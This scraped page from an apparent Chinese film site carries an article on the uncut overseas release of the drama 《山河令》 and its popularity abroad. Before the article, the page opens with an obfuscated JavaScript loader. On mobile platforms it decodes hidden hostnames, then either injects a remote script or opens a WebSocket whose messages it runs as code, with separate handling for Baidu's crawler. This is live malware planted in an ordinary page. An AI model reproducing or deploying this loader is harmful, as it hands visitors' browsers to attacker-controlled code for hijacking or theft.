function yecBiMSv(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function GILUwCNj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yecBiMSv(t);};window['\x4b\x72\x71\x6e\x6b\x6a']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=GILUwCNj,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close();}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/'+i;cs.parentElement.insertBefore(s,cs);}})('ZWhrLnRyyZW5oZGcuY29t','dHIIueWVzdW42NzguY29t','8925',window,document,['y','I']);}:function(){};

相关影片

  • 山河令

    类型:国产,情,武侠,古装,电视,地区:大陆

    主演:张哲瀚,龚俊,周也,

《山河令》海外版播出,多了一些重要镜头

佚名 网络 人气:233 时间:2021-05-06

  自从《山河令》在国内首播取得不错的成绩之后,优酷也在油管的官方频道上架了《山河令》海外版,让这部剧能够传播给更多的观众,海外版的《山河令》在某些剧情和画面上,其实更加完整,而我们国内观看的剪辑版,少了很多重要的镜头。

image.png

  没想的是,这部剧的国外版一经播出,也迅速引来了很多外国网友的喜爱,纷纷在这部剧评论区发表自己的看法,这部剧的热度也在一度在Tumblr的全球热门剧集榜单中,排行第六。

  从这里我们可以看得出,国产剧在国外市场的影响力也越来越大。

  海外的观众除了对这部剧的剧情表示出极大的兴趣之外,其实,也有很多人透过这部剧表达对中国文化的喜欢,有人甚至误以为这是一部“历史剧”,其中的服装、场景和道具,甚至台词当中诗词,都充满着浓浓的中国味儿。

  大家都知道,《山河令》的国内版为了规避法规,在台词方面,做了很多隐晦性的处理,对于不懂这部剧中主角关系的观众来说,可能就是简单地以为他们只是“兄弟情”,但是对于知晓其中奥妙的观众来说,我们会发现,他们之间的很多“文雅对白”,其实都暗藏玄机!

image.png

  比如说下面这句:“阿絮,你若不在了,千山暮雪,我孤翼只影该向谁去?”

  这句寓意颇深的话,也只有资深读者才能细品出来。

  国内版有很多镜头都删减掉,而海外版则大胆得多,比如说下面这个:

image.png

  你品,你细品,到底差别在哪儿。

  还有两个人一起洗兔子时候的场景:

image.png

  很显然,海外版加上了这些镜头,剧才完整,跟原著中两人的关系才更加贴近,所以,在《山河令》国内版嗑糖不够的小伙伴,可以去看看海外版,支持一下山河。

  《山河令》在国外的热播,也算是我们国家文化输出的一部分,通过这些古风题材的影视剧,让外国人了解咱们国家的文化,提高文化自信,也是符合我们现在的主流价值观。

  记得年前还有一波韩国的推特大V发起的“韩服挑战”运动,来撇清韩服跟汉服的关系,甚至有些不明事理的吃瓜推特网友还认为:“汉服是来源于韩服”的说法!

  虽然我们知道历史的事物无法改变,但是在文化输出方面,我们跟韩国相比,确实弱了一些,当他们所谓的为“韩服”正名的时候,我们却发现,话语权掌握在别人手里,我们却无能为力。

  所以,我们还是希望有更多的像《山河令》这样的良心国产古风剧能够传播到海外,提高我们的文化输出能力。

本站所有视频和图片均来自互联网收集而来,本网站只提供web页面服务,并不提供资源存储,也不参与录制、上传
若本站收录的节目无意侵犯了贵司版权,请发邮件至administrator#gmail.com (我们会在3个工作日内删除侵权内容,谢谢。)

Copyright © 2020 片库网 icp123

电影

剧集

综艺

动漫

专题

明星